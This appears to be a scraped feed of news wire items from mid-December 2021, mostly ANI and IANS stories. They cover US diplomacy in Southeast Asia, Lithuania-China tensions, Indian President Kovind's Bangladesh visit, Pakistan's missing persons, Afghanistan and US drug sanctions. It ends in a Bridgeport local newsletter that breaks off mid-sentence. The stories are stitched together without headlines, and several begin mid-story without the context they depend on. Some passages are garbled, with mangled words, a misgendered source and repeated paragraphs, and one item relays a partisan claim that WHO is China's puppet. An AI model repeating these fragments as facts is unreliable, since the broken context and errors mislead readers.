agency, Blinken said the United States is also looking "very actively" at whether Myanmar's treatment of the Rohingya ethnic minority group constituted genocide, a determination that could allow Washington to push for more actions. Malaysia is the second leg of Blinken's first trip to Southeast Asia since US President Joe Biden took office in January. The visit comes as Washington is seeking deeper engagement in Southeast Asia amid heightened rivalry with China. Meanwhile, Blinken confirmed at the press conference that Biden has invited ASEAN leaders to a special summit next year, Kyodo News reported. (ANI) US Secretary of State Antony Blinken on Wednesday met with Malaysian Foreign Minister Saifuddin Abdullah and discussed the situation in Myanmar. "Good to meet with Malaysian Foreign Minister @SaifuddinABD. We discussed Burma, challenges to democracy and human rights, the U.S. commitment to peace and stability in the South China Sea, our support for Malaysia's leadership in the region, and expanding our relationship," Blinken tweeted. Noting that it's been over 10 months since the military coup seized power in Myanmar, Blinken said that the crisis in the country continues to worsen. "In 10 months since the military coup, the crisis only continued to worsen. We have repeatedly condemned horrific and widespread violence perpetrated by the Burmese junta against the people of Burma. We've not only spoken out but taken various actions, tried to exert pressure on the junta to change course," the US Department of State said in a statement. "We've worked in close coordination and collaboration with countries in the region, including the countries in ASEAN itself as an institution, with the objective of seeking the release of all those who are unjustly detained, including Aung San Suu Kyi, allowing unhindered humanitarian access because the humanitarian crisis has gotten worse, and of course, returning Burma to its democratic path," the statement said. Meanwhile, Blinken further said that the United States and Malaysia are launching a partnership to accelerate the latter's transition to clean energy. "Today we're announcing a new partnership between Malaysia and the United States to speed up Malaysia's transition to clean energy. It's called the Power Sector Program. And the goal is to help Malaysia attract more and higher quality clean energy investments, and to create the conditions for that investment to yield the greatest possible results," Sputnik quoted Blinken as saying. US will provide Kuala Lumpur with advice on how to attract the investment which is needed to meet clean energy goals. "We'll provide technical assistance on upgrading Malaysia's electric grid so that it can better handle and distribute power generated by renewable sources, including solar. And we're focusing the support in regions of the country where it can do the most good, like East Malaysia, where qualified investors can speed up the transition from diesel to solar and battery power while creating jobs and spurring growth," he said. Earlier today, Blinken also met with Malaysian Prime Minister Dato' Sri Ismail Sabri bin Yaakob. Both sides discussed the strong US-Malaysia bilateral relationship rooted in security, economic prosperity, and people-to-people ties. US Secretary and the Malaysian Prime Minister also discussed their desire to strengthen cooperation, including on COVID-19 recovery and pandemic preparedness. (ANI) Ties between the two countries soured this year after the Lithuanian government allowed Taiwan to open a representative office in the country. Back in August, China recalled its ambassador from Vilnius, to which Lithuania responded reciprocally in September. "The Ministry of Foreign Affairs informs that Lithuania's Charge d'affaires ad interim in China Audra Ciapiene returns to Vilnius for consultations," the country said in a statement on Wednesday, as quoted by Sputnik. The Lithuanian ministry said consular services to Lithuanians in China would be provided remotely and in "limited capacity." Lithuania is open to talk with China on a mutually beneficial arrangement, it added. Recently, reports emerged that Lithuanian companies are facing problems with customs clearance in Chinese ports after China allegedly deleted Lithuania from its customs systems. Lithuania -- the European nation which has been strengthening ties with Taiwan -- has been reportedly removed from China's custom's registry in retaliation for warming ties with Taipei. The move has left many Lithuanian goods stranded at sea. "Lithuania has been crossed out, it seems that there's no such country in China's customs system," President of the Lithuanian Confederation of Industrialists Vidmantas Janulevicius said. (ANI) In its latest situation update report published on Wednesday, UNHCR said it has only received 72 percent of the 164.5 million U.S. dollars it wants to meet the needs of 96,000 Eritrean refugees in Ethiopia, 650,000 IDPs in Ethiopia as well as 120,000 Ethiopian refugees in eastern Sudan. The funds are needed to meet the shelter, education, health as well as water and sanitation needs of refugees and IDPs in Ethiopia as well as Ethiopian refugees in Sudan, the UNHCR disclosed. Ethiopia is the third largest refugee-hosting country in Africa, sheltering 806,374 registered refugees and asylum-seekers, mostly from South Sudan, Somalia, Eritrea and Sudan, as of October 31, 2021, UNHCR figures show. The country also has a large number of IDPs, including 2.2 million who were forced to flee the conflict that broke out in November 2020, in the northern Tigray regional state. (ANI/Xinhua) The demand was made at the Seoul High Court for Kim Tae-hyun who was sentenced to life imprisonment by a district court in October on five criminal charges, including murder, housebreaking and theft, Yonhap news agency reported. The 25-year-old Kim was arrested in March for killing a woman whom he met through an online game last year, her mother and her younger sister at their home in northern Seoul. Kim reportedly stalked his online game mate and committed the brutal murders after she refused to meet him. Prosecutors said Kim deserves the maximum penalty allowed by law because his crime was brutal and the stalking victim's family members were killed. The appellate court said it plans to hold the sentencing hearing for Kim on January 19 next year. --IANS int/sks/bg ( 176 Words) 2021-12-15-15:31:11 (IANS) BRICS Sherpas and Sous Sherpas held their fourth and concluding meeting under India's Chairship during the year 2021, on December 15 and review the activities held this year, the Ministry of External Affairs (MEA) said on Wednesday. The meeting was chaired by Secretary (CPV&OIA) Sanjay Bhattacharyya as India's BRICS Sherpa, MEA said in a release. "The meeting provided an opportunity to review the activities held this year. For its Chairship, India had chosen the theme 'BRICS@15: Intra BRICS Cooperation for Continuity, Consolidation and Consensus' with the following priorities - reform of the multilateral system; counter terrorism cooperation; using digital and technological solutions for attaining SDGs; and enhancing people to people exchanges," said MEA. The XIII BRICS Summit took place on September 9, 2021 in virtual format. The leaders adopted the Delhi Declaration which reaffirmed their commitment to fight the Covid pandemic, deepened the collaborative efforts of BRICS countries on political-security, economic and cultural fronts and gave new vitality to BRICS. The BRICS Foreign Ministers in their meeting in June 2021 adopted the Joint Statement on Strengthening and Reforming the Multilateral System to make global governance more responsive and agile, effective, transparent, democratic, representative and accountable to Member States. The revised BRICS Terms of Reference were adopted by Sherpas in September 2021 reiterating their commitment to preserving and further strengthening the consensus-based working methods in BRICS at all levels, MEA informed. During the year, nearly 150 BRICS meetings and events were organized, of which about 20 were held at Ministerial level. Intra-BRICS cooperation was extended to new areas, such as the inaugural BRICS Digital Health Summit and the 1st Meeting of BRICS Water Ministers. Other achievements of India's Chairship included - BRICS Counter-Terrorism Action Plan, operationalization of the Agricultural Research Platform, signing of Agreement on Cooperation in the field of Remote-sensing Satellites Constellation, finalization of BRICS Agreement on Cooperation and Mutual Administrative Assistance in Customs Matters, and finalization of Agreement on Cooperation in the Field of Regulation of Medical Products for Human Use. During the BRICS Sherpas and Sous Sherpas meeting, the BRICS Gavel and Handover Report were passed over to China. China also presented its priorities for its BRICS Chairship which will commence from 1 January 2022. "BRICS partners commended India's BRICS Chairship in 2021. They appreciated the activities undertaken, despite the constraint of COVID-19 restrictions, which have led to further strengthening of intra-BRICS cooperation while reinforcing the principles of continuity, consolidation, and consensus," MEA release said. They acknowledged that BRICS Strategic Partnership was strengthened during the year for the mutual benefit of our countries and our people. BRICS partners agreed to extend full support to China for its forthcoming BRICS Chairship in 2022. India thanked its BRICS partners for their constructive engagement during its Chairship year, during which BRICS has emerged stronger and more vibrant, the statement added. (ANI) China uses multilateral organizations such as the United Nations and World Health Organizations to suit its nefarious ends and one unforeseen consequence of the pandemic was seeing the World Health Organization perform like China's puppet, points out a report in a US publication. World Health Organizations' ponderous bureaucracy repeatedly accepted Beijing's version of the pandemic's origins, according to New York Post. Earlier, It shouldn't have come as a surprise. WHO's director-general, Ethiopian scientist Dr. Tedros Adhanom, had won the election with China's enthusiastic support, prevailing in 2017 over a US-backed candidate. Further, Tedros succeeded China's Margaret Chan, who as director-general spent considerable time placing Chinese and China-sympathetic personnel into key positions. Chan's 2006 selection (and later re-election) was a visible but far-from-only sign of Beijing's campaign to increase its senior-level influence across the vast United Nations system, especially in the specialized agencies, which should be non-political, according to New York Post. Earlier, Qu Dongyu, over US opposition, became director-general of the Food and Agriculture Organization in 2019, like Chan the first Chinese national to head his agency. China's Houlin Zhao has led the International Telecommunications Union since 2015, as did Fang Liu the International Civil Aviation Organization until earlier this year. Fortunately, Beijing's candidates do not always prevail. In 2020, in a contested race for director-general of the World Intellectual Property Organization, a Washington-backed Singaporean citizen defeated a Chinese candidate. Meanwhile, Beijing is systematically pursuing several critical priorities. Most important is excluding Taiwan from significant participation in UN affairs, part of a relentless campaign underway since Beijing replaced Taipei as holder of the "China" seat in 1971. Also, Beijing's second focus includes subverting the United Nations Human Rights Council. Further, China is always alert to block any UN investigation of its abysmal human-rights record, including the ongoing genocide against the Uighurs in Xinjiang, according to New York Post. The broad repression of religious freedom throughout China, and the crushing of Hong Kong's political rights are in violation of its international commitments (and a model of Taiwan's fate if Beijing ever gets the chance. (ANI) The delegation led by chair of the French National Assembly's France-Taiwan Parliamentary Friendship Group which is on a five-day visit is scheduled to meet President Tsai Ing-wen, according to Focus Taiwan. The delegation will exchange views on post-pandemic economic recovery, digital technologies, and security in the Indo-Pacific region. The other members of the delegation are MPs Jean-Luc Reitzer, Frederique Dumas, Jean Francois Mbaye, Aina Kuric, and Jean-Louis Bricout. The Presidential Office spokesperson Xavier Chang said that Tsai was scheduled to meet with the delegation on Thursday in the Presidential Office. Chang said that de Rugy's visit came only three months after a five-member delegation from the French Senate visited Taiwan in early October, which reflected the strong friendship between Taiwan and France as this was the first time two parliamentary delegations from the same European country had visited Taiwan within a few months. During their visit, the delegation will also meet with Premier Su Tseng-chang Legislative Speaker You Si-kun Foreign Minister Joseph Wu and other high-level government officials, according to Focus Taiwan. Earlier, In November this year, the French National Assembly passed a resolution proposed by de Rugy calling on the French government to offer concrete support for Taiwan's participation in international organizations; six months after the French Senate adopted a similar resolution, according to Focus Taiwan. The National Assembly is the lower house of the French Parliament, while the Senate is the upper house. (ANI) Army Chief General MM Naravane spoke to Fahd bin Abdullah Al-Mutair, Commander of the Royal Saudi Land Forces, Kingdom of Saudi Arabia and discussed issues of bilateral defence ties. "General MM Naravane #COAS had telephonic interaction with Lieutenant General Fahd bin Abdullah Al-Mutair, Commander, Royal Saudi Armed Forces, Kingdom of Saudi Arabia and discussed issues of bilateral defence cooperation," tweeted Indian Army on Wednesday. (ANI) "Tomorrow, President Kovind and the First Lady will attend the national programme of Victory Day as the Guest of Honour at National Parade Ground in Dhaka," Shringla said during the special briefing on President Kovind's visit to Bangladesh. Foreign Secretary Shringla said that a 122-member tri-services contingent of the Indian Armed Forces will participate in this parade. The year 2021 commemorates the Golden Jubilee of Bangladesh's independence. "It commemorates 50 years of the establishment of diplomatic relations between our two countries. It also commemorates the great victory over the Pakistani army and their unconditional surrender to our joint forces, the forces of Indian armed forces and Bangladesh's forces on the 16th of December 1971," Shringla earlier said. On Thursday, President Kovind will inaugurate the renovated Sri Ramna Kali Mandir, which was completely destroyed by Pakistani forces during heinous Operation Searchlight in 1971. "On Dec 17, President Ram Nath Kovind will inaugurate the renovated Sri Ramna Kali Mandir, which was completely destroyed by Pakistani forces during heinous Operation Searchlight in 1971," he said. President Kovind today began his three-day visit to Bangladesh. This is the first foreign visit of President Kovind since the COVID-19 outbreak. Earlier today, President Kovind was received by Bangladesh President Abdul Hamid and First Lady Rashida Hamid upon his arrival in Dhaka. President Kovind visited Bangabandhu Memorial Museum and paid his respects to Bangabandhu Sheikh Mujibur Rahman. He also paid tributes at the National Martyrs' Memorial to those who sacrificed their lives in the Liberation War of Bangladesh. He also met Bangladesh Prime Minister Sheikh Hasina and Foreign Minister AK Abdul Momen and discussed bilateral issues. President Kovind is scheduled to depart for Delhi on December 17. (ANI) The meeting includes further expanding bilateral ties based on sovereignty, equality, trust and understanding that transcend even a strategic partnership, he said. "President Kovind @rashtrapatibhvn welcomed by President HE Md Abdul Hamid for their bilateral meeting at Bangabhaban. Further expanding bilateral ties based on sovereignty, equality, trust and understanding that transcend even a strategic partnership," Bagchi tweeted. Earlier Bangladesh Foreign Minister AK Abdul Momen called on President Kovind. The Bangladesh Foreign Ministry said that the two dignitaries reiterated their wish to further consolidate the existing friendly ties between the countries. "FM Dr. Momen called on the President of India @rashtrapatibhvn and discussed bilateral issues. The dignitaries reiterated their wish to further consolidate the existing friendly ties between the two countries," Bangladesh's Ministry of Foreign Affairs said in a tweet. President Kovind will be in Bangladesh till December 17. He is scheduled to attend the country's 50th Victory Day celebrations as a guest of honour. This is the first foreign visit of President Kovind since the COVID-19 outbreak. (ANI) President Ram Nath Kovind on Wednesday presented a replica of 1971-era MIG 21 aircraft to President Abdul Hamid of Bangladesh. President Kovind is on a three-day state visit to Bangladesh from December 15 to 17, which is his first state visit since the outbreak of the COVID pandemic. "President Ram Nath Kovind presented a replica of 1971-era MIG 21 aircraft to President Abdul Hamid of Bangladesh. An aircraft of the same model gifted by India to Bangladesh has been installed at Bangladesh National Museum," President of India tweeted. President Kovind, landed at the Hazrat Shahjalal International Airport in Dhaka this morning, where he was received by Mohammad Abdul Hamid, the President of Bangladesh himself, Press Secretary to the President informed in a release. The President was accorded a ceremonial welcome and given Guard of Honour at the Airport. Thereafter, he visited the National Martyrs' Memorial in Savar and paid tributes to the martyrs of the Liberation War of Bangladesh. Subsequently, he visited Bangabandhu Memorial Museum at 32 Dhanmondi where he paid homage to Bangabandhu Sheikh Mujibur Rahman, the Father of the nation of Bangladesh. In the afternoon, the President met the political leadership of Bangladesh - President Mohammad Abdul Hamid, Prime Minister Sheikh Hasina and Foreign Minister Dr AK Abdul Momen. In these meetings, the President congratulated the government and people of Bangladesh on the historic occasion of Mujib Borsho, 50th anniversary of liberation of Bangladesh and 50 years of India-Bangladesh bilateral relations. He said that the Liberation War of Bangladesh was an inspiring episode in recent history and India was honoured to be the part of it. He said that, 50 years ago, India and Bangladesh began a special friendship which was laid in commonalities of language, kinship, religion and cultural ethos as well as mutual respect. The President reiterated that Bangladesh has a special place in India's 'neighbourhood first' policy. He said that India's development partnership with Bangladesh is one of the most comprehensive and wide-ranging ones. At the same time, our relationship is mature enough to handle most complex of problems. Speaking about the trade and connectivity, the President said that connectivity forms an important pillar of India-Bangladesh relations. The two countries have much to gain from their geographical proximity. He was happy to note that Bangladesh is one of India's largest trade partners. He said that India looks forward to a more organised and seamless trade between the two countries. He noted that there is a lot of scope in partnering in areas like space, nuclear technology, defence, pharmaceuticals and other advanced science and technology field. President Kovind said that a formal 'Comprehensive Economic Partnership Agreement' would give a significant boost to the two-way trade. Pointing to the cooperation between India and Bangladesh during the Covid pandemic, the President appreciated the support received from Bangladesh during the pandemic. He was happy to note that Bangladesh was one of the first countries to receive vaccines from India and also the largest recipient of made-in-India vaccines. Speaking about cooperation on multilateral fora, the President said that India and Bangladesh have a broad agenda of issues and common concern, especially pertaining to South Asia which would require closer cooperation. Later in the evening, the President attended a banquet hosted in his honour by the President of Bangladesh at Bangabhaban. Tomorrow, the President will witness the Victory Day parade and attend the Victory Day reception hosted by the President of Bangladesh to mark the conclusion of "Mujib Borsho" celebrations. (ANI) Highlighting the ignorance of the Imran Khan-led Pakistan government over missing people in Pakistan, a local media report stated that there have been too many examples in the country in which the voice of families of missing people have gone unheard even after decades. Dawn newspaper reported that the Islamabad High Court (IHC) has categorically said that the missing person issue is a test case for the state, which should clarify its position in the matter. The case under consideration relates to missing journalist Mudassar Naaru, according to Dawn. The court also highlighted the inability or unwillingness of the Commission for Inquiry of Enforced Disappearances (CIED) with regard to doing something concrete about this problem. According to the court, there are thousands of families whose loved ones have gone missing but no one bothers. Citing the example of Mudassar Naaru, the Islamabad High Court said that as the family of Mudassar met Prime Minister Imran Khan, he expressed ignorance regarding the case and according to Naaru's mother quickly gave orders to look into the matter. He also spoke with sympathy and care to the small child who had now been left parentless. Earlier, IHC has suggested a high treason charge for enforced disappearances over the state functionaries responsible for providing protection to citizens. IHC Chief Justice Athar Minallah, who made the observation during the hearing of a petition seeking safe recovery of 'missing' journalist Mudassir Mehmood Naaru, observed enforced disappearances gave the impression that the state was behind such a heinous crime, reported Dawn. Referring to the 'abduction' of Assistant Director of the Securities and Exchange Commission of Pakistan (SECP) Sajid Gondal, the IHC chief justice remarked that a young man had illegally been taken into custody and was forced to give the statement that he had gone "to the Northern Areas on his own", Dawn has reported. Imaan Zainab Hazir-Mazari, counsel for the family of the missing journalist, argued that officials of the spy agency should be held responsible for the enforced disappearance of any citizen from their respective jurisdiction, reported Dawn. However, Advocate retired Lt Col Inamur Rahim argued that Prime Minister Imran Khan and federal cabinet were responsible for the safety and security of citizens and if they would fail to protect the life of a citizen, then they were liable to be tried for subversion of the Constitution under the Rules of Business 1973, reported Dawn. (ANI) Days after declining an invitation by the US for the Democracy Summit, top leadership in Pakistan is now attempting to mend ties with Washington by stating that it values its relationship with the United States and is committed to expanding it in all spheres. Pakistan, China's all-weather ally, earlier this month had turned down US' invitation to take part in the Summit for Democracy, a virtual event that took place on December 9-10. The US had extended invitations to more than a hundred countries for the summit but China and some other countries were not included in the list. Initially, Pakistan tried to delink its decision with any external factors. However, it privately acknowledged that China's opposition to the summit made it difficult for the country to attend the gathering, The Express Tribune reported. Pakistan Foreign Minister Shah Mehmood Qureshi spoke to US Deputy Secretary of State Wendy Sherman via telephone and explained the country's position regarding its decision not to attend the summit, according to the Pakistani newspaper. In an apparent bid to assuage Washington, Qureshi gave reasons why Pakistan stayed away from the summit and told the US deputy secretary of State that Pakistan would not take sides in the power politics of big countries. Confirming that he spoke to Deputy Secretary Sherman two days ago, Qureshi told reporters in Islamabad that he was "satisfied" with his conversation with Sherman. Last week, Pakistan Prime Minister Imran Khan met with a delegation of US senators. During the meeting, Pakistan Prime Minister called on the US to play its due role in maintaining peace and stability in the region. He said that a deeper and stronger partnership between the two countries was mutually beneficial and critical for the region's peace, security and prosperity. Pakistan has US ties has not been on the best of terms since US President joe Biden assumed office in January this year. Despite best efforts by Islamabad, Biden has not spoken to Imran Khan over the phone. (ANI) The supplies, including fuel, liquefied gas, wheat and clothing, as part of the $1.2 million Turkmen aid, were transported to provincial capital Herat city via the land port in Torghondi, reported Xinhua, citing the state-run Radio Television of Afghanistan. Sher Mohammad Abbas Stanikzai, Deputy Foreign Minister of the Taliban caretaker government, and visiting Turkmen officials attended the handover ceremony in Herat on Tuesday. Stanikzai thanked Turkmenistan for its humanitarian assistance and called the neighbouring country a true friend of Afghanistan. The people of Afghanistan are facing a profound humanitarian crisis that threatens the most basic of human rights, the Human Rights Council of the UN warned on Tuesday. --IANS int/sks ( 137 Words) 2021-12-15-16:51:37 (IANS) Foreign Secretary Harsh Vardhan Shringla on Wednesday said that President Ram Nath Kovind met with Bangladesh Prime Minister Sheikh Hasina and held a comprehensive discussion, which encompassed many areas of the multifaceted relationship between the two countries, including jointly preserving the legacy of 'Bangabandhu' Sheikh Mujibur Rahman and the 1971 Bangladesh's War of Liberation. "With the Bangladesh Prime Minister, the discussion was comprehensive encompassing many areas of our multifaceted relationship, including jointly preserving the legacy of Bangabandhu and 1971 war, particularly among the youth of both our countries," he said while addressing a special Ministry of External Affairs briefing in Dhaka. President Kovind, arrived at the Hazrat Shahjalal International Airport in Dhaka this morning for a three-day visit. The Foreign Secretary also said that President had substantive meetings with both Prime Minister Sheikh Hasina and Foreign Minister Dr AK Abdul Momen. He said: "With the Foreign Minister, the President expressed satisfaction on the excellent progress made and multifaceted bilateral partnership and emphasised the important role that the Financial Ministries play in such bilateral relationships." Shringla also said highlighted that the senior-most three dignitaries from India had visited the close and friendly neighbour --Bangladesh. "As you know this year is very significant to the relationships. It marks the three veiny of the establishment --the 50th anniversary of the establishment of the state of Bangladesh, the 50th anniversary of diplomatic relations between the two countries and also the 100th anniversary of Bangabandhu Sheikh Mujibur Rahman," he said. "On this occasion, we have had the Prime Minister Narendra Modi's visit to Bangladesh, External Affairs Minister S Jaishankar's visit, and now President Ram Nath Kovind's visit. It is a rare conjuncture in which we have had the three of our senior-most dignitaries visit the close and friendly neighbour in one year," he added. President Kovind, landed at the Hazrat Shahjalal International Airport in Dhaka this morning, where he was received by Mohammad Abdul Hamid, the President of Bangladesh himself, Press Secretary to the President informed in a release. The President was accorded a ceremonial welcome and given Guard of Honour at the Airport. Thereafter, he visited the National Martyrs' Memorial in Savar and paid tributes to the martyrs of the Liberation War of Bangladesh. Subsequently, he visited Bangabandhu Memorial Museum at 32 Dhanmondi where he paid homage to Bangabandhu Sheikh Mujibur Rahman, the Father of the nation of Bangladesh. In the afternoon, the President met the political leadership of Bangladesh - President Mohammad Abdul Hamid, Prime Minister Sheikh Hasina and Foreign Minister Dr AK Abdul Momen. In these meetings, the President congratulated the government and people of Bangladesh on the historic occasion of Mujib Borsho, the 50th anniversary of the liberation of Bangladesh and 50 years of India-Bangladesh bilateral relations. He said that the Liberation War of Bangladesh was an inspiring episode in recent history and India was honoured to be a part of it. He said that, 50 years ago, India and Bangladesh began a special friendship which was laid in commonalities of language, kinship, religion and cultural ethos as well as mutual respect. The President reiterated that Bangladesh has a special place in India's 'neighbourhood first' policy. He said that India's development partnership with Bangladesh is one of the most comprehensive and wide-ranging ones. At the same time, our relationship is mature enough to handle most complex of problems. President Kovind will be in Bangladesh till December 17. This is the first foreign visit of President Kovind since the COVID-19 outbreak. (ANI) Foreign Secretary Harsh Vardhan Shringla on Wednesday said that the Indo-Bangladesh friendship pipeline is progressing very well and that it could be inaugurated by next year. "Indo-Bangladesh friendship pipeline is a very, very unique and significant pipeline that enables us to integrate our energy requirements. This is this project is progressing very well. And I understand that we will be in a position to be inaugurated next year," Shringla said during a special briefing on President Kovind's visit to Bangladesh. "This aspect was discussed with the Bangladeshi side a few days ago and I think there was a lot of plans on how to use that diesel that would be coming through the pipeline into Bangladesh," the foreign secretary said. Shringla further said that President Kovind's visit was not a bilateral visit, but one to commemorate the Golden Jubilee of Bangladesh's independence. "We are here to commemorate at the invitation of Bangladesh, a very significant, unique and special event. So, this is a one-off visit in which we are looking only at commemorative activities, we are not looking at this is not a bilateral visit in which you touch base, politically, economically, culturally, socially," Shringla said. Talking about China's role in Bangladesh, Foreign Secretary Shringla said "as far as we are concerned, India and Bangladesh are bound by ties of history, language, spirituality, culture. Our ties are unique, and we don't compare our relationships with those that are there with other countries. Our relationship is really generous, and we don't look at what relationships are there with other countries when we let's say, celebrate the uniqueness of our own special relationship with Bangladesh." President Kovind today began his three-day visit to Bangladesh. This is the first foreign visit of President Kovind since the COVID-19 outbreak. President Kovind is scheduled to depart for Delhi on December 17. (ANI) In a surprising shift in the popular narrative, former Afghanistan President Hamid Karzai has said that the Taliban was invited to Kabul before the takeover of the country's capital city on August 15. Karzai revealed that he had invited the Taliban, who had agreed to wait outside of Kabul, to discuss a negotiated power-sharing agreement, contrary to popular belief that the group had taken over the capital. In the buildup to Kabul's takeover, Afghanistan witnessed a swift fall of US-backed Afghan forces, following months of heavy assault by the outfit in key provincial cities. "It was a request to come in and protect the population, so that the country, the city doesn't fall into chaos. and the unwanted elements who would probably loot the country, loot shops...," he said in an interview with the Associated Press. The negotiations with the Taliban to peacefully take over Kabul were to protect the population so that the country, the city don't fall into chaos and the unwanted elements who would probably loot the country, Karzai told the international news agency in an interview, that was carried by The Hill. The day the Taliban came into power they told Karzai that government officials should stay in their place and they would not invade. "I and others spoke to various officials and assurances were given to us that, yes, that was the case, that the Americans and the government forces were holding firm to the places [and] that Kabul would not fall," Karzai said. As negotiations were happening, Afghan President Ashraf Ghani and other government officials left the country, in a move that hindered a peaceful transition agreement, said Karzai, as reported by the Washington-based publication. The former Afghanistan President, who has been at the helm of humanitarian affairs in Afghanistan, has been holding talks with UN officials and other stakeholders in the country. Karzai said that the Taliban government must now do all that is necessary within the country to safeguard the interests of all Afghans. The ongoing humanitarian crisis in Afghanistan is threatening basic rights, with women, girls, and civil society among those most affected. On Tuesday, a senior UN rights official said that respect for fundamental rights and freedoms by authorities in Afghanistan is critical to ensuring stability in the country. "How the de facto authorities - indeed, and the international community - address the drastic economic and humanitarian crises in the country will determine Afghans' enjoyment of human rights, now and into the future," said Nada Al-Nashif, United Nations Deputy High Commissioner for Human Rights, during a press briefing. (ANI) Sinovac and Sinopharm are China's leading vaccine makers, and both manufactures are not preferred ones in countries that have access to others, according to Voice of America. Dr. Andrea Cox, a professor at the Johns Hopkins University School of Medicine with a special interest in immunization, has provided expert advice on COVID-19 vaccines. "Chinese vaccines are not as effective as the Moderna, Pfizer-BioNTech, AstraZeneca, and Johnson & Johnson vaccines, so they aren't the preferred jabs in countries that have access to the others," he said. "That scientist takes a type of bacteria -- or in this case, a virus -- and inactivate or kill it. They then inject it into people. Because the virus is dead, it can't infect anyone. Then, if a vaccinated person is exposed to the live virus, that person's body recognizes it and fights it off, " he added. The hnsays the Sinovac vaccine is about 50% effective, while Sinopharm's effectiveness is higher, at 78%, World Health Organization reported. Earlier, World Health Organization says safe and effective vaccines are a game-changing tool, but it recommends continued mask-wearing, frequent hand-washing, good indoor ventilation, physical distancing and avoiding crowds, Further, it recommends getting, getting vaccinated. (ANI) India and Bangladesh have reached a very high point in bilateral relationship, said Foreign Secretary Harsh Vardhan Shringla after President Ram Nath Kovind held a series of meetings with the top leadership of Bangladesh. "What was apparent in the discussion was that we have reached a very high point in our relationship. The Honourable Foreign Minister referred to this as a 'sonali adhyay' (golden era)," said Foreign Secretary during the special briefing on the President's Visit to Bangladesh. "The discussion covered a broad range of areas that are part of our bilateral relationship. The most important part was to talk about the spirit of 1971, the legacy of Bangobando and how we can continue to work together in that regard," he added. Shringla said that in President Kovind's discussions with Bangladesh leadership it was clear that "we have reached a very high point in our relationship. The Honourable Foreign Minister (Bangladesh) referred to this as an 'sonali adhyay' (golden era)," he said. During the talks between President Kovind and Bangladesh leadership there was a sense of satisfaction at the level of cooperation during the COVID-19 pandemic, Shringla added. "India had been quite quick in providing both medicines and vaccination to Bangladesh. We have supplied some 2.18 crore doses of vaccines so far. We also arranged for trains of liquid medical oxygen. We also acknowledged the assistance provided by Bangladesh to India, when we had our devastating second wave," he said. Foreign Secretary further summed up today's engagement, saying that "we are two countries that mutually reinforce each other and are there for each other. And that message was really there." "We have resolved the most difficult issues in the most amicable manner. Very few countries are able to do this. We have been able to resolve both land and maritime boundaries," he added. President Kovind is on a three-day state visit to Bangladesh from December 15 to 17, which is his first state visit since the outbreak of the COVID pandemic. President Kovind landed at the Hazrat Shahjalal International Airport in Dhaka this morning. President Kovind today met both Bangladesh President Abdul Hamid and Prime Minister Sheikh Hasina. (ANI) According to Taiwan News, a recent report by China Christian Daily covered a two-day conference held in Beijing earlier this month with CCP cadres who insisted on "sinicising religion in China" and prepared a range of new ideological concepts aimed at doing so. According to the report, the emphasis was also reportedly placed on guiding religion to "adapt to the socialist society." The new push comes after authorities arrested Christians from the Early Rain Qingcaodi Church in the Sichuanese city of Deyang last month, according to a ChinaAid report. Among those rounded up on "fraud," charges were Church pastors, community leaders, and volunteers. The church is a faction of the Western China Reformed Presbytery group and has been under pressure from the government for years. The trouble really began after a former elder in the church signed a joint statement in 2018 calling for the freedom of Christian churches throughout the country. The statement eventually garnered signatures from over 400 Chinese pastors. Many were later tracked down and faced criminal charges or were jailed, per a Licas report. In March 2021, provincial authorities in Sichuan put the Early Rain Qingcaodi Church on their blacklist of illegal organizations. Now their leadership has been taken in, the church has been forced to go underground. (ANI) The United States on Wednesday sanctioned four Chinese painkiller makers in a bid to combat the illicit drug trade. In a statement, the US Treasury Department said that the Office of Foreign Assets Control (OFAC) has designated 25 actors (10 individuals and 15 entities) in four countries "for having engaged in, or attempted to engage in, activities or transactions that have materially contributed to, or pose a significant risk of materially contributing to, the international proliferation of illicit drugs or their means of production". The sanctions targets individuals and drug trafficking organizations (DTO) based in Brazil, China, Colombia, and Mexico. Those sanctioned include individuals who traffic fentanyl, and its precursor chemicals, methamphetamine, cocaine, and heroin, as well as organizations that pose the greatest drug threat to the United States. "The illicit drug trade threatens our national security, economy, communities, and families," said Under Secretary of the Treasury for Terrorism and Financial Intelligence Brian Nelson. The designated actors included Chinese entities Wuhan Yuancheng Gongchuang Technology, Shanghai Fast-Fine Chemicals, Hebei Huanhao Biotechnology and Hebei Atun Trading, as well as Chinese national Chuen Fat Yip, the Treasury said. Chuen and his company, Wuhan Yuancheng Gongchuang Technology, traffic fentanyl, anabolic steroids and other synthetic drugs to the US and sell compounds and chemical precursors used in narcotics production to the public, the Treasury Department said. They were considered one of, if not the largest, producer of anabolic steroids in the world, according to the statement. The other three entities are similarly accused of trafficking chemical or pharmaceutical products used in the illicit manufacturing of fentanyl to countries around the world including Mexico, where the narcotics made are often intended for sale in the US, the Treasury Department said. The sanctions came on the heels of two executive orders from President Joe Biden announced on Wednesday. The two executive orders establish a US Council on Transnational Organized Crime and expand the US government's ability to target drug trafficking organizations through sanctions, the White House said in a fact sheet. (ANI) Welcome back, Bridgeport. Here's all the local news, events, and community posts you need for Thursday, Dec. 16. First, today's weather: Variable clouds; breezy, mild. High: 58 Low: 52. Here are the top stories in Bridgeport today: Tractor-Trailer Crash Closes Lanes On I-95 In Bridgeport: A tractor-trailer crash closed multiple lanes on I-95 North between Exits 28 and 29 in Bridgeport. (Bridgeport Patch) 2 Pedestrians Struck By Car In Bridgeport: Report: Police are investigating an accident that involved two pedestrians. (Bridgeport Patch) 'Senseless gun violence': Bridgeport homicide victim mourned (CTPost) Bridgeport council hosting in-person party, despite virtual meetings (Fairfield Citizen) Bridgeport police time management system hacked, city says (The Greater New Milford Spectrum) Coronavirus Cases Up 90 Percent Recently In Fairfield County: CDC (Bridgeport Patch) Today's Bridgeport Daily is brought to you in part by Newrez, a leading nationwide mortgage lender. Make a smart move for your future and refinance with Newrez today. Call 844-979-1707 to connect with a Newrez loan officer. Newrez, LLC (NMLS #3013) Today in Bridgeport: From my notebook: Bridgeport, Connecticut Animal Control: "ROGERS (0268) Hey everyone I'm Rogers! I'm a 3-year-old male pitbull mix. I'm a very energetic and playful kinda guy! I did well on my dog test (though I am extra enthusiastic- so a tolerant friend is a must). I can't wait to bounce arou..." (Facebook) Bridgeport, Connecticut Animal Control: "DOG OF THE DAY! Harrison! Look at this handsome guy! Catch him in his new flick- Raiders of the Lost Bark! Harrison is a young, energetic, happy guy looking for an active family that will spend the time polishing him into a well-behaved ..." (Facebook) Catholic Schools of the Diocese of Bridgeport: "The Immaculate High School musicians dropped by St. Peter School today for a quick holiday mini-concert! What a fun and festive surprise!" (Facebook) Catholic Schools of the Diocese of Bridgeport: "It's Day 30 of our 30 DAYS OF 